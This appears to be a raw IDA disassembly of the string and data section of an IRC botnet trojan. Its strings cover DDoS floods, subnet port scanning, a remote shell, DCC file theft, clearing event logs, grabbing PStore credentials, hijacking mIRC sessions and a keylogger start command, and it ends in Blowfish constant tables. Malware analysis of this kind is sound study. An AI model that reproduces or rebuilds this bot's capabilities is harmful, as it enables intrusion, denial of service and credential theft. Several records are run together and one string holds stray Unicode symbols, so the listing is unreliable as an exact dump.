aUnsecure	db 'Unsecure',0         ; DATA XREF: sub_40A9FE+9E4Ao
					; sub_42184C+265o ...
		align 4
aSecure		db 'Secure',0           ; DATA XREF: sub_40A9FE+9E43o
					; sub_42184C+295o
		align 4
aSNoSubnetCla_0	db '%s No subnet class specified',0 ; DATA XREF: sub_40A9FE:loc_414711o
		align 10h
aSSSSDWithADe_0	db '%s %s %s %s:%d with a delay of %d seconds for %d minutes using %d'
					; DATA XREF: sub_40A9FE+9B94o
					; sub_40A9FE+9C9Bo ...
		db ' threads',0
		align 4
aSPortInvalid_	db '%s Port invalid.',0 ; DATA XREF: sub_40A9FE+98B9o
		align 10h
aSInvalidPort_	db '%s Invalid port.',0 ; DATA XREF: sub_40A9FE+9897o
		align 4
aSSDForDSecs__0	db '%s --> (%s:%d) for %d secs.',0 ; DATA XREF: sub_40A9FE+93BFo
aSNoDelay_	db '%s No delay.',0     ; DATA XREF: sub_40A9FE:loc_413D77o
		align 10h
aSShouldRunS_	db '%s Should run: "%s".',0 ; DATA XREF: sub_40A9FE+91ECo
		align 4
aSFailedToParse	db '%s Failed to parse command.',0 ; DATA XREF: sub_40A9FE+9141o
					; sub_40A9FE+9258o
a7:					; DATA XREF: sub_40A9FE+8D77o
					; sub_40A9FE+8EE5o ...
		unicode	0, <7>,0
aVista		db 'vista',0            ; DATA XREF: sub_40A9FE+8D4Eo
					; sub_40A9FE+8ECEo
		align 10h
a2k3		db '2k3',0              ; DATA XREF: sub_40A9FE+8D2Ao
					; sub_40A9FE+8EA7o
a2k_0		db '2k',0               ; DATA XREF: sub_40A9FE+8CEFo
					; sub_40A9FE+8E59o
		align 4
aMe		db 'me',0               ; DATA XREF: sub_40A9FE+8CC8o
					; sub_40A9FE+8E32o
		align 4
a98		db '98',0               ; DATA XREF: sub_40A9FE+8CA1o
					; sub_40A9FE+8E0Bo ...
		align 10h
aNt		db 'nt',0               ; DATA XREF: sub_40A9FE+8C6Eo
					; sub_40A9FE+8DD8o
		align 4
a95		db '95',0               ; DATA XREF: sub_40A9FE+8C3Bo
					; sub_40A9FE+8DA5o ...
		align 4
aSTryingToGetEx	db '%s Trying to get external IP.',0 ; DATA XREF: sub_40A9FE+8849o
					; sub_40A9FE+8867o
		align 4
a?:					; DATA XREF: sub_40A9FE+8669o
					; sub_40A9FE+86D5o ...
		unicode	0, <?>,0
		align 10h
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_40A9FE+84C1o
		db 'Referer: %s',0Dh,0Ah
		db 'User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; .N'
		db 'ET CLR 1.1.4322)',0Dh,0Ah
		db 'Host: %s',0Dh,0Ah
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aSSiteFailedToO	db '%s Site failed to open.',0 ; DATA XREF: sub_40A9FE+8345o
					; sub_40A9FE+8362o
aSSiteOpened_	db '%s Site opened.',0  ; DATA XREF: sub_40A9FE+8300o
aIexplore	db 'iexplore',0         ; DATA XREF: sub_40A9FE+82E2o
		align 4
aSS__0		db '%s --> (%s).',0     ; DATA XREF: sub_40A9FE+81FAo
					; sub_40A9FE+8217o ...
		align 4
aSSDDPackets_	db '%s --> (%s:%d) %d packets.',0 ; DATA XREF: sub_40A9FE+8016o
					; sub_40A9FE+8047o ...
		align 4
aSSDWithDPacks	db '%s --> (%s:%d) with %d packs',0 ; DATA XREF: sub_40A9FE+7C31o
					; sub_40A9FE+7DAEo
		align 4
aSSDWithDConnSF	db '%s --> (%s:%d) with %d conn',27h,'s for %d sec',27h,'s',0
					; DATA XREF: sub_40A9FE+7AB1o
		align 4
aSSForDSecS	db '%s --> (%s) for %d sec',27h,'s',0 ; DATA XREF: sub_40A9FE+790Bo
		align 10h
aSSDForDSecS	db '%s --> (%s:%d) for %d sec',27h,'s',0 ; DATA XREF: sub_40A9FE+78B0o
					; sub_40A9FE+78E1o
aSSD_1		db '%s --> (%s:%d)',0   ; DATA XREF: sub_40A9FE+7676o
					; sub_40A9FE+769Co ...
		align 4
aSSForDSecs_	db '%s --> (%s) for (%d secs).',0 ; DATA XREF: sub_40A9FE+7495o
					; sub_40A9FE+74BBo ...
		align 4
aSSForDSecsWith	db '%s --> (%s) for %d secs with %d ms delay.',0
					; DATA XREF: sub_40A9FE+6D20o
					; sub_40A9FE+6D51o ...
		align 4
aSSDForDSecs_	db '%s --> (%s:%d) for (%d secs).',0 ; DATA XREF: sub_40A9FE+6A70o
					; sub_40A9FE+6F53o ...
		align 4
aSPortPscanStar	db '%s Port pscan started: %s:%d with delay: %d(ms).',0
					; DATA XREF: sub_40A9FE+65BDo
		align 4
aSSSSDWithADela	db '%s %s %s %s:%d with a delay of %d seconds for %d minutes using %d'
					; DATA XREF: sub_40A9FE+62ABo
		db ' threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_40A9FE+629Ao
					; sub_40A9FE+6390o ...
		align 10h
aRandom		db 'Random',0           ; DATA XREF: sub_40A9FE+6293o
					; sub_40A9FE+6389o ...
		align 4
aSNoSubnetClass	db '%s No subnet class specified.',0 ; DATA XREF: sub_40A9FE+6157o
		align 4
aSNoIpSpecified	db '%s No IP specified.',0 ; DATA XREF: sub_40A9FE+6089o
					; sub_40A9FE:loc_41470Ao
aD_x_x_x	db '%d.x.x.x',0         ; DATA XREF: sub_40A9FE+6004o
					; sub_40A9FE+990Eo
		align 4
aX_x_x_x	db 'x.x.x.x',0          ; DATA XREF: sub_40A9FE+5FD6o
					; sub_40A9FE+98DCo
aSInvalidPort	db '%s Invalid port',0  ; DATA XREF: sub_40A9FE+5F9Co
aSIsOn_		db '%s is on.',0        ; DATA XREF: sub_40A9FE+5CE9o
		align 4
aSIsOff_	db '%s is off.',0       ; DATA XREF: sub_40A9FE+5CA2o
					; sub_40A9FE+5D1Do ...
		align 4
aSIsSetToSDUSPS	db '%s is set to %s:%d U: %s P: %s F: %s',0 ; DATA XREF: sub_40A9FE+5BC4o
					; sub_40A9FE+5C30o
		align 10h
aSSDDDDD_exe	db '%s%s%d%d%d%d%d.exe',0 ; DATA XREF: sub_40A9FE+5884o
		align 4
aSSS_		db '%s %s %s.',0        ; DATA XREF: sub_40A9FE+568Co
					; sub_40A9FE+574Do ...
		align 10h
aSConnectionClo	db '%s Connection closed: (%i/%ikB sent).',0 ; DATA XREF: sub_40A9FE+5563o
		align 4
aSTimedOutClosi	db '%s Timed Out, closing connection.',0 ; DATA XREF: sub_40A9FE+5462o
		align 4
aSDDI		db '%s %d %d %i',0      ; DATA XREF: sub_40A9FE+5408o
aDccSendSS	db 'DCC Send %s (%s)',0 ; DATA XREF: sub_40A9FE+53CFo
		align 4
aSendingYouS	db 'Sending you %s',0   ; DATA XREF: sub_40A9FE+53AFo
		align 4
aSBindSD	db '%s Bind %s <%d>',0  ; DATA XREF: sub_40A9FE+5349o
aSSD		db '%s %s <%d>',0       ; DATA XREF: sub_40A9FE+52C7o
					; sub_40A9FE+841Do ...
		align 4
aSNoFile	db '%s No file',0       ; DATA XREF: sub_40A9FE+5284o
		align 4
aSFailedToOpenS	db '%s Failed to open: "%s",error: <%d>',0 ; DATA XREF: sub_40A9FE+5154o
					; sub_40A9FE+517Co
aSOpenedS_	db '%s Opened: "%s".',0 ; DATA XREF: sub_40A9FE+50FAo
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_40A9FE+50E5o
					; sub_40A9FE+82E7o ...
		align 4
aSFailedToSetAt	db '%s Failed to set Attributes to: "%s",error: <%d>',0
					; DATA XREF: sub_40A9FE+5097o
					; sub_40A9FE+50BFo
		align 4
aSAttributesSet	db '%s Attributes Set to: "%s".',0 ; DATA XREF: sub_40A9FE+5070o
aSFailedToCopyS	db '%s Failed to copy: "%s" to "%s",error: <%d>',0
					; DATA XREF: sub_40A9FE+4FE5o
					; sub_40A9FE+5014o
aSCopiedSToS	db '%s Copied: "%s" to "%s"',0 ; DATA XREF: sub_40A9FE+4F79o
aSFailedToMoveS	db '%s Failed to move: "%s" to: "%s", error: <%d>',0
					; DATA XREF: sub_40A9FE+4E4Do
					; sub_40A9FE+4E7Co
		align 4
aSMovedSToS	db '%s Moved: "%s" to: "%s"',0 ; DATA XREF: sub_40A9FE+4DE9o
aSSDoesnTExist_	db '%s %s doesn',27h,'t exist.',0 ; DATA XREF: sub_40A9FE:loc_40F705o
		align 4
aSSIsNotAFolder	db '%s %s is not a folder.',0 ; DATA XREF: sub_40A9FE:loc_40F6FEo
		align 10h
aSFailedToDelet	db '%s Failed to delete folder: %s',0 ; DATA XREF: sub_40A9FE:loc_40F6F4o
		align 10h
aSFolderDeleted	db '%s Folder deleted: %s',0 ; DATA XREF: sub_40A9FE+4CECo
		align 4
aSFailedToDelFi	db '%s Failed to del file: %s, error: <%d>',0 ; DATA XREF: sub_40A9FE+4C67o
					; sub_40A9FE+4C8Fo
		align 10h
aSFileDeletedS	db '%s File deleted: %s',0 ; DATA XREF: sub_40A9FE+4C40o
aSFileDoesnTExi	db '%s File doesn',27h,'t exist: %s',0 ; DATA XREF: sub_40A9FE+4C12o
		align 10h
aSFileExistsS	db '%s File exists: %s',0 ; DATA XREF: sub_40A9FE+4C03o
		align 4
aSFailedToReadF	db '%s Failed to read file: %s,error: <%d>',0 ; DATA XREF: sub_40A9FE+4BA6o
					; sub_40A9FE+4BCEo
		align 4
aSFileDisplayed	db '%s File displayed: %s',0 ; DATA XREF: sub_40A9FE+4B50o
		align 4
aSDisplayingFil	db '%s Displaying file: %s',0 ; DATA XREF: sub_40A9FE+4AA1o
		align 4
aSCommandsS_	db '%s Commands: %s.',0 ; DATA XREF: sub_40A9FE+4937o
		align 10h
asc_440D90:				; DATA XREF: sub_40A9FE+48D1o
					; sub_40A9FE+857Fo ...
		dw 0Ah
		unicode	0, <>,0
aSShellReady_	db '%s Shell ready.',0  ; DATA XREF: sub_40A9FE+47C8o
					; sub_40A9FE+47E6o
aSCouldnTOpenSh	db '%s Couldn',27h,'t open shell.',0 ; DATA XREF: sub_40A9FE+4786o
aSSystemcallSen	db '%s SystemCall sent: "%s"',0 ; DATA XREF: sub_40A9FE+46F9o
		align 4
aSSystemcallFai	db '%s SystemCall failed.',0 ; DATA XREF: sub_40A9FE+46E0o
		align 10h
aSUnloaded_	db '%s Unloaded.',0     ; DATA XREF: sub_40A9FE+4627o
		align 10h
aSNickservDrop	db '%s nickserv drop',0 ; DATA XREF: sub_40A9FE+45F4o
		align 4
aSNickservRegis	db '%s nickserv :register pass103 %s',0 ; DATA XREF: sub_40A9FE+45C1o
		align 4
aS@S_com	db '%s@%s.com',0        ; DATA XREF: sub_40A9FE+45A4o
		align 4
aSMemoservSendS	db '%s memoserv :send %s %s',0 ; DATA XREF: sub_40A9FE+455Do
dword_440E5C	dd 25207325h, 13A2073h,	20434344h, 444E4553h, 73252220h
					; DATA XREF: sub_40A9FE+3E0Do
					; sub_40A9FE+3F02o
		dd 31322022h, 30373033h, 33333436h, 1642520h, 0
dword_440E84	dd 206325h	aSSDccSendCS	db '%s %s :DCC SEND C:\\\\%s',0 ; DATA XREF: sub_40A9FE+3CDBo
		align 4
dword_440EA4	dd 25207325h, 23A2073h,	25323103h, 73250373h, 25323103h
					; DATA XREF: sub_40A9FE+3CBBo
		dd 20373h
dword_440EBC	dd 25207325h, 13A2073h,	20434344h, 444E4553h, 20732520h
					; DATA XREF: sub_40A9FE+3C8Co
		dd 30333132h, 34363037h, 25203333h, 164h
dword_440EE0	dd 25207325h, 13A2073h,	20434344h, 444E4553h, 2E642520h
					; DATA XREF: sub_40A9FE+3C5Co
		dd 20657865h, 63657845h, 6E697475h, 69662067h, 2520656Ch
		dd 164h, 0
dword_440F10	dd 25207325h, 13A2073h,	20434344h, 444E4553h, 2E642520h
					; DATA XREF: sub_40A9FE+3C22o
		dd 20747874h, 6E65704Fh, 25206465h, 202C2064h, 64616572h
		dd 2C676E69h, 706D6F63h, 6574656Ch, 202D2064h, 6F6C7075h
		dd 63206461h, 6C706D6Fh, 21657465h, 1
dword_440F5C	dd 25207325h, 13A2073h,	20434344h, 444E4553h, 576F5720h
					; DATA XREF: sub_40A9FE+3BE8o
		dd 5F736569h, 69576F57h, 575F7365h, 6569576Fh, 31322073h
		dd 30373033h, 33333436h, 1642520h, 2 dup(0)
dword_440F98	dd 64250302h, 5964252Ch, 2C642503h, 34F6425h, 252C6425h
					; DATA XREF: sub_40A9FE+3BB9o
		dd 3A05564h, 252C6425h,	25034864h, 64252C64h, 64250341h
		dd 5664252Ch, 2C642503h, 0A0456425h, 2C642503h,	3426425h
		dd 252C6425h, 25034564h, 64252C64h, 64250345h, 4E64252Ch
		dd 642503A0h, 5064252Ch, 2C642503h, 3556425h, 252C6425h
		dd 3A05464h, 252C6425h,	25034964h, 64252C64h, 2503A04Eh
		dd 64252C64h, 64250354h, 4864252Ch, 2C642503h, 0A0456425h
		dd 2C642503h, 63256425h, 2C642503h, 3576425h, 252C6425h
		dd 2034E64h, 0
dword_441040	dd 69257325h, 0	dword_441048	dd 434F4E4Bh, 7325204Bh, 73253A20h, 0dword_441058	dd 25207325h, 73252073h, 0					; sub_40A9FE+36D3o ...
dword_441064	dd 25207325h, 13A2073h,	474E4946h, 15245h					; sub_40A9FE+342Fo ...
dword_441074	dd 25207325h, 13A2073h,	53524556h, 14E4F49h, 0					; sub_40A9FE+4308o
dword_441088	dd 25207325h, 13A2073h,	474E4950h, 1					; sub_40A9FE+333Fo ...
dword_441098	dd 25207325h, 13A2073h,	17325hdword_4410A4	dd 64250302h, 2064252Ch, 3026325h, 0dword_4410B4	dd 64250302h, 2564252Ch, 3022063h, 2 dup(0)unk_4410C8	db  3Fh	; ?		; DATA XREF: sub_40A9FE+2F07o
		db 1, 44h, 43h
aCSendFf???f?11	db 'C SEND "ff???f?𝑹𝑰𝑷𝑳𝑶w'
		db '923;𝑺𝑼𝑷𝑮𝑼𝒀⻙'
		db '0;" 0 0 0',0
dword_441158	dd 64250302h, 3F64252Ch, 43434401h, 4E455320h, 66222044h
					; DATA XREF: sub_40A9FE+2EF6o
		dd 3F3F3F66h, 20223F66h, 20302030h, 20330h, 0
dword_441180	dd 64250302h, 5964252Ch, 2C642503h, 34F6425h, 252C6425h
					; DATA XREF: sub_40A9FE+2EC9o
		dd 3A05564h, 252C6425h,	25034864h, 64252C64h, 64250341h
		dd 5664252Ch, 2C642503h, 0A0456425h, 2C642503h,	3426425h
		dd 252C6425h, 25034564h, 64252C64h, 64250345h, 4E64252Ch
		dd 642503A0h, 5064252Ch, 2C642503h, 3556425h, 252C6425h
		dd 3A05464h, 252C6425h,	25034964h, 64252C64h, 2503A04Eh
		dd 64252C64h, 64250354h, 4864252Ch, 2C642503h, 0A0456425h
		dd 2C642503h, 63256425h, 2C642503h, 3576425h, 252C6425h
		dd 73204E64h, 74726174h, 79656B20h, 67676F6Ch, 2037265h
		dd 0
aAbcdefghijklmn	db 'abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz',0
					; DATA XREF: sub_40A9FE+2CBAo
					; sub_40A9FE+3D5Co ...
		align 4
aSSS		db '%s %s :%s',0        ; DATA XREF: sub_40A9FE+2C7Eo
					; sub_40A9FE+2F28o ...
		align 4
aSLoadedOntoSDA	db '%s Loaded Onto: (%s:%d), Amount: (%d)',0 ; DATA XREF: sub_40A9FE+2AD8o
					; sub_40A9FE+2B0Do
		align 4
aSTooMuchConns_	db '%s Too Much conns.',0 ; DATA XREF: sub_40A9FE+2A77o
		align 10h
aSObtainingExte	db '%s Obtaining external IP',0 ; DATA XREF: sub_40A9FE+299Fo
		align 4
aSSSS_		db '%s %s: %s -> %s.',0 ; DATA XREF: sub_40A9FE+2904o
		align 10h
aSFailedToLoadD	db '%s Failed to load dnsapi.dll.',0 ; DATA XREF: sub_40A9FE:loc_40D275o
		align 10h
aSFailedToFlu_0	db '%s Failed to flush DNS cache.',0 ; DATA XREF: sub_40A9FE:loc_40D26Bo
		align 10h
aSDnsCacheFlush	db '%s DNS cache flushed.',0 ; DATA XREF: sub_40A9FE+2863o
		align 4
aSFailedToFlush	db '%s Failed to flush ARP.',0 ; DATA XREF: sub_40A9FE+2838o
aSArpFlushed_	db '%s ARP flushed.',0  ; DATA XREF: sub_40A9FE+282Do
aSClientNotOp_0	db '%s Client not open or found: "%s"',0 ; DATA XREF: sub_40A9FE:loc_40D1F3o
		align 4
aSCommandSentS	db '%s Command sent: "%s"',0 ; DATA XREF: sub_40A9FE+27EEo
		align 4
aSClientNotOpen	db '%s Client not open.',0 ; DATA XREF: sub_40A9FE+274Eo
					; sub_40A9FE+2770o
aSUserIsRunning	db '%s User is running mIRC v %s, Connected to %s (%s:%s) Nick: %s, O'
					; DATA XREF: sub_40A9FE+2708o
		db 'n chans: (%s).',0
asc_441410	db ', ',0               ; DATA XREF: sub_40A9FE+2691o
		align 4
aChanI		db '$chan(%i)',0        ; DATA XREF: sub_40A9FE+264Bo
		align 10h
aChan0		db '$chan(0)',0         ; DATA XREF: sub_40A9FE+2602o
		align 4
aPort_0		db '$port',0            ; DATA XREF: sub_40A9FE+25C2o
		align 4
aServerip	db '$serverip',0        ; DATA XREF: sub_40A9FE+2585o
		align 10h
aServer_0	db '$server',0          ; DATA XREF: sub_40A9FE+2542o
aVersion	db '$version',0         ; DATA XREF: sub_40A9FE+24B6o
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_40A9FE+2466o
					; sub_41DA15+3Co ...
		align 4
aSSentIrcRawS_	db '%s Sent IRC raw: "%s".',0 ; DATA XREF: sub_40A9FE+2411o
		align 4
aSSOnSIThreadNu	db '%s %s on %s: %i, thread number: %i.',0 ; DATA XREF: sub_40A9FE+22C6o
					; sub_40A9FE+22F6o
aSSOnSISS_	db '%s %s on %s: %i, %s: %s.',0 ; DATA XREF: sub_40A9FE+223Ao
		align 4
aSCreateProcess	db '%s Create process thread.',0 ; DATA XREF: sub_40A9FE+20E5o
		align 10h
aSProcs		db '%s Procs',0         ; DATA XREF: sub_40A9FE+1FB3o
		align 4
aSBkillS	db '%s BKill %s',0      ; DATA XREF: sub_40A9FE+1D91o
aSBkillThread_	db '%s BKill thread.',0 ; DATA XREF: sub_40A9FE+1D78o
		align 4
aS2maintenance_	db '%s /2Maintenance./2',0 ; DATA XREF: sub_40A9FE+1C45o
aRecord		db ', (Record)',0       ; DATA XREF: sub_40A9FE:loc_40C518o
		align 4
aRecordUptimeS_	db ', Record UpTime: (%s).',0 ; DATA XREF: sub_40A9FE+1AFBo
		align 4
aSUptimeS_	db '%s UpTime: (%s).',0 ; DATA XREF: sub_40A9FE+1AD1o
		align 4
aSSSSSSSSSS	db '%s %s %s, %s %s (%s), %s (%s), %s (%s)',0 ; DATA XREF: sub_40A9FE+1A7Bo
		align 10h
aSAndS		db '%s and %s',0        ; DATA XREF: sub_40A9FE+1A2Bo
		align 4
aSSOnSI_0	db '%s %s on: (%s:%i)',0 ; DATA XREF: sub_40A9FE+1855o
					; sub_40A9FE+187Fo
		align 10h
aSSOnSI		db '%s %s on: [%s:%i]',0 ; DATA XREF: sub_40A9FE+17A1o
		align 4
aSPstore	db '%s PStore',0        ; DATA XREF: sub_40A9FE+1174o
					; sub_40A9FE+1242o
		align 10h
aSStarted_	db '%s started.',0      ; DATA XREF: sub_40A9FE+1039o
aSThreadList	db '%s Thread list',0   ; DATA XREF: sub_40A9FE+E88o
		align 4
aSSD_		db '%s %s (%d).',0      ; DATA XREF: sub_40A9FE+DF1o
					; sub_40A9FE+ED8o ...
aSSS_0		db '%s %s (%s)',0       ; DATA XREF: sub_40A9FE+D4Fo
					; sub_40A9FE+1B8Eo ...
		align 4
aSDS		db '%s %d %s',0         ; DATA XREF: sub_40A9FE+CCAo
		align 10h
aSAdvapi_dllNot	db '%s Advapi.dll not loaded',0 ; DATA XREF: sub_40A9FE:loc_40B636o
					; sub_423846+69o
		align 4
aSFailedToClear	db '%s Failed to clear syslogs',0 ; DATA XREF: sub_40A9FE+C2Eo
		align 4
aSClearedDDSysl	db '%s Cleared [%d/%d] syslogs',0 ; DATA XREF: sub_40A9FE+C1Ao
		align 4
aSystem		db 'system',0           ; DATA XREF: sub_40A9FE+BB9o
					; sub_41EBE9+26o
		align 4
aApplication	db 'application',0      ; DATA XREF: sub_40A9FE+BABo
					; sub_41EBE9+Eo
aSSS@S		db '%s [%s!%s@%s]',0    ; DATA XREF: sub_40A9FE+B30o
		align 4
aSS_		db '%s %s.',0           ; DATA XREF: sub_40A9FE+AA8o
					; sub_40A9FE+FD5o ...
		align 10h
aUnsecured	db 'Unsecured',0        ; DATA XREF: sub_40A9FE+A9Eo
		align 4
aSSI		db '%s %s (%i)',0       ; DATA XREF: sub_40A9FE+923o
					; sub_40A9FE+963o
		align 4
aSSIS		db '%s %s (%i) %s',0    ; DATA XREF: sub_40A9FE+8EEo
					; sub_40A9FE+915o
		align 4
a6		db '$6',0               ; DATA XREF: sub_40A9FE+84Eo
		align 4
a5		db '$5',0               ; DATA XREF: sub_40A9FE+83Ao
		align 10h
a4		db '$4',0               ; DATA XREF: sub_40A9FE+823o
		align 4
a3		db '$3',0               ; DATA XREF: sub_40A9FE+80Fo
		align 4
a2		db '$2',0               ; DATA XREF: sub_40A9FE+7FBo
		align 4
a1_0		db '$1',0               ; DATA XREF: sub_40A9FE+7E7o
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_40A9FE+7D3o
		align 4
aUser_0		db '$user',0            ; DATA XREF: sub_40A9FE+7BDo
		align 10h
off_4416C0	dd offset dword_656D24	; DATA XREF: sub_40A9FE+7A0o
					; sub_40A9FE+24FFo
dword_4416C4	dd 73256325h, 0	aSAddedAliasS	db '%s Added Alias: %s',0 ; DATA XREF: sub_40A9FE+6C7o
		align 10h
aS_1		db ' %s',0              ; DATA XREF: sub_40A9FE+67Eo
					; sub_40A9FE+14BAo ...
aD_SS		db '%d. %s = %s',0      ; DATA XREF: sub_40A9FE+5D1o
aSAliasList	db '%s [Alias list]',0  ; DATA XREF: sub_40A9FE+57Co
aSServerListCom	db '%s Server List complete.',0 ; DATA XREF: sub_40A9FE+54Bo
		align 4
aISDSS		db '%i: %s:%d%s, %s',0  ; DATA XREF: sub_40A9FE+524o
aListComplete	db '-=[List Complete]=-',0 ; DATA XREF: sub_40A9FE+4E2o
aSServerISDS	db '%s: Server: [%i: %s:%d%s]',0 ; DATA XREF: sub_40A9FE+4BAo
		align 4
aSsl		db ' (SSL)',0           ; DATA XREF: sub_40A9FE+489o
					; sub_40A9FE+508o
		align 4
aIexplore_exe	db 'iexplore.exe',0     ; DATA XREF: sub_40A9FE+3C9o
					; sub_40A9FE+837Ao ...
		align 8
dword_441778	dd 243F6A88h			dd 85A308D3h, 13198A2Eh, 3707344h, 0A4093822h, 299F31D0h
		dd 82EFA98h, 0EC4E6C89h, 452821E6h, 38D01377h, 0BE5466CFh
		dd 34E90C6Ch, 0C0AC29B7h, 0C97C50DDh, 3F84D5B5h, 0B5470917h
		dd 9216D5D9h, 8979FB1Bh
dword_4417C0	dd 0D1310BA6h			dd 98DFB5ACh, 2FFD72DBh, 0D01ADFB7h, 0B8E1AFEDh, 6A267E96h
		dd 0BA7C9045h, 0F12C7F99h, 24A19947h, 0B3916CF7h, 801F2E2h
		dd 858EFC16h, 636920D8h, 71574E69h, 0A458FEA3h,	0F4933D7Eh
		dd 0D95748Fh, 728EB658h, 718BCD58h, 82154AEEh, 7B54A41Dh
		dd 0C25A59B5h, 9C30D539h, 2AF26013h, 0C5D1B023h, 286085F0h
		dd 0CA417918h, 0B8DB38EFh, 8E79DCB0h, 603A180Eh, 6C9E0E8Bh
		dd 0B01E8A3Eh, 0D71577C1h, 0BD314B27h, 78AF2FDAh, 55605C60h
		dd 0E65525F3h, 0AA55AB94h, 57489862h, 63E81440h, 55CA396Ah
		dd 2AAB10B6h, 0B4CC5C34h, 1141E8CEh, 0A15486AFh, 7C72E993h
		dd 0B3EE1411h, 636FBC2Ah, 2BA9C55Dh, 741831F6h,	0CE5C3E16h
		dd 9B87931Eh, 0AFD6BA33h, 6C24CF5Ch, 7A325381h,	28958677h
		dd 3B8F4898h, 6B4BB9AFh, 0C4BFE81Bh, 66282193h,	61D809CCh
		dd 0FB21A991h, 487CAC60h, 5DEC8032h, 0EF845D5Dh, 0E98575B1h
		dd 0DC262302h, 0EB651B88h, 23893E81h, 0D396ACC5h, 0F6D6FF3h
		dd 83F44239h, 2E0B4482h, 0A4842004h, 69C8F04Ah,	9E1F9B5Eh
		dd 21C66842h, 0F6E96C9Ah, 670C9C61h, 0ABD388F0h, 6A51A0D2h
		dd 0D8542F68h, 960FA728h, 0AB5133A3h, 6EEF0B6Ch, 137A3BE4h
		dd 0BA3BF050h, 7EFB2A98h, 0A1F1651Dh, 39AF0176h, 66CA593Eh
		dd 82430E88h, 8CEE8619h, 456F9FB4h, 7D84A5C3h, 3B8B5EBEh
		dd 0E06F75D8h, 85C12073h, 401A449Fh, 56C16AA6h,	4ED3AA62h
		dd 363F7706h, 1BFEDF72h, 429B023Dh, 37D0D724h, 0D00A1248h
		dd 0DB0FEAD3h, 49F1C09Bh, 75372C9h, 80991B7Bh, 25D479D8h
		dd 0F6E8DEF7h, 0E3FE501Ah, 0B6794C3Bh, 976CE0BDh, 4C006BAh
		dd 0C1A94FB6h, 409F60C4h, 5E5C9EC2h, 196A2463h,	68FB6FAFh
		dd 3E6C53B5h, 1339B2EBh, 3B52EC6Fh, 6DFC511Fh, 9B30952Ch
		dd 0CC814544h, 0AF5EBD09h, 0BEE3D004h, 0DE334AFDh, 660F2807h
		dd 192E4BB3h, 0C0CBA857h, 45C8740Fh, 0D20B5F39h, 0B9D3FBDBh
		dd 5579C0BDh, 1A60320Ah, 0D6A100C6h, 402C7279h,	679F25FEh
		dd 0FB1FA3CCh, 8EA5E9F8h, 0DB3222F8h, 3C7516DFh, 0FD616B15h
		dd 2F501EC8h, 0AD0552ABh, 323DB5FAh, 0FD238760h, 53317B48h
		dd 3E00DF82h, 9E5C57BBh, 0CA6F8CA0h, 1A87562Eh,	0DF1769DBh
		dd 0D542A8F6h, 287EFFC3h, 0AC6732C6h, 8C4F5573h, 695B27B0h
		dd 0BBCA58C8h, 0E1FFA35Dh, 0B8F011A0h, 10FA3D98h, 0FD2183B8h
		dd 4AFCB56Ch, 2DD1D35Bh, 9A53E479h, 0B6F84565h,	0D28E49BCh
		dd 4BFB9790h, 0E1DDF2DAh, 0A4CB7E33h, 62FB1341h, 0CEE4C6E8h
		dd 0EF20CADAh, 36774C01h, 0D07E9EFEh, 2BF11FB4h, 95DBDA4Dh
		dd 0AE909198h, 0EAAD8E71h, 6B93D5A0h, 0D08ED1D0h, 0AFC725E0h
		dd 8E3C5B2Fh, 8E7594B7h, 8FF6E2FBh, 0F2122B64h,	8888B812h
		dd 900DF01Ch, 4FAD5EA0h, 688FC31Ch, 0D1CFF191h,	0B3A8C1ADh
		dd 2F2F2218h, 0BE0E1777h, 0EA752DFEh, 8B021FA1h, 0E5A0CC0Fh
		dd 0B56F74E8h, 18ACF3D6h, 0CE89E299h, 0B4A84FE0h, 0FD13E0B7h
		dd 7CC43B81h, 0D2ADA8D9h, 165FA266h, 80957705h,	93CC7314h
		dd 211A1477h, 0E6AD2065h, 77B5FA86h, 0C75442F5h, 0FB9D35CFh
		dd 0EBCDAF0Ch, 7B3E89A0h, 0D6411BD3h, 0AE1E7E49h, 250E2Dh
		dd 2071B35Eh, 226800BBh, 57B8E0AFh, 2464369Bh, 0F009B91Eh
		dd 5563911Dh, 59DFA6AAh, 78C14389h, 0D95A537Fh,	207D5BA2h
		dd 2E5B9C5h, 83260376h,	6295CFA9h, 11C81968h, 4E734A41h
		dd 0B3472DCAh, 7B14A94Ah, 1B510052h, 9A532915h,	0D60F573Fh
		dd 0BC9BC6E4h, 2B60A476h, 81E67400h, 8BA6FB5h, 571BE91Fh
		dd 0F296EC6Bh, 2A0DD915h, 0B6636521h, 0E7B9F9B6h, 0FF34052Eh
		dd 0C5855664h, 53B02D5Dh, 0A99F8FA1h, 8BA4799h,	6E85076Ah
		dd 4B7A70E9h, 0B5B32944h, 0DB75092Eh, 0C4192623h, 0AD6EA6B0h
		dd 49A7DF7Dh, 9CEE60B8h, 8FEDB266h, 0ECAA8C71h,	699A17FFh
		dd 5664526Ch, 0C2B19EE1h, 193602A5h, 75094C29h,	0A0591340h
		dd 0E4183A3Eh, 3F54989Ah, 5B429D65h, 6B8FE4D6h,	99F73FD6h
		dd 0A1D29C07h, 0EFE830F5h, 4D2D38E6h, 0F0255DC1h, 4CDD2086h
		dd 8470EB26h, 6382E9C6h, 21ECC5Eh, 9686B3Fh, 3EBAEFC9h
		dd 3C971814h, 6B6A70A1h, 687F3584h, 52A0E286h, 0B79C5305h
		dd 0AA500737h, 3E07841Ch, 7FDEAE5Ch, 8E7D44ECh,	5716F2B8h
		dd 0B03ADA37h, 0F0500C0Dh, 0F01C1F04h, 200B3FFh, 0AE0CF51Ah
		dd 3CB574B2h, 25837A58h, 0DC0921BDh, 0D19113F9h, 7CA92FF6h
		dd 94324773h, 22F54701h, 3AE5E581h, 37C2DADCh, 0C8B57634h
		dd 9AF3DDA7h, 0A9446146h, 0FD0030Eh, 0ECC8C73Eh, 0A4751E41h
		dd 0E238CD99h, 3BEA0E2Fh, 3280BBA1h, 183EB331h,	4E548B38h
		dd 4F6DB908h, 6F420D03h, 0F60A04BFh, 2CB81290h,	24977C79h
		dd 5679B072h, 0BCAF89AFh, 0DE9A771Fh, 0D9930810h, 0B38BAE12h
		dd 0DCCF3F2Eh, 5512721Fh, 2E6B7124h, 501ADDE6h,	9F84CD87h
